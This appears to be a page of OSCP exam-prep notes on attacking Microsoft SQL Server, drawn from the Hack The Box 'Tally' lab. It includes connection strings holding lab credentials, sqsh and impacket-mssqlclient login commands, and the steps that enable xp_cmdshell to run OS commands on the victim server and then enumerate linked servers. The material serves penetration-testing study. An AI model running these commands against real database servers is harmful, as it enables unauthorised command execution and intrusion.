> For the complete documentation index, see [llms.txt](https://dhaneshsivasamy07.gitbook.io/oscp-2022/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dhaneshsivasamy07.gitbook.io/oscp-2022/enumeration/mssql.md).

# MSSQL

SQL Server is common service when exposed to the outer world. 

{% hint style="info" %}
**Requires**: With **valid credentials** commands can be executed on the victim 
{% endhint %}

## Identifying Passwords

```bash
# from tally htb
SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;

# example format
PROVIDER=DNOSCPDB;DATA SOURCE=HOME;User ID=sa;PWD=cyb3rs3cn00b;DATABASE=rfdb
```

## Connecting to server

```bash
# sqsh -S $ip -U sa -P $pass
sqsh -S 10.10.10.59 -U sa -P "GWE3V65#6KFH93@4GWTG2G"

# via mysqlclient
impacket-mssqlclient -db orcharddb -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP> #Recommended -windows-auth when you are going to use a domain. use as domain the netBIOS name of the machine

```

## Code Execution

* <https://ranakhalil101.medium.com/hack-the-box-tally-writeup-w-o-metasploit-b8bce0684ad3>&#x20;

```bash
EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE; 
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE; 
go
xp_cmdshell 'whoami';
go

# Check for linked servers
sp_linkedservers
go
```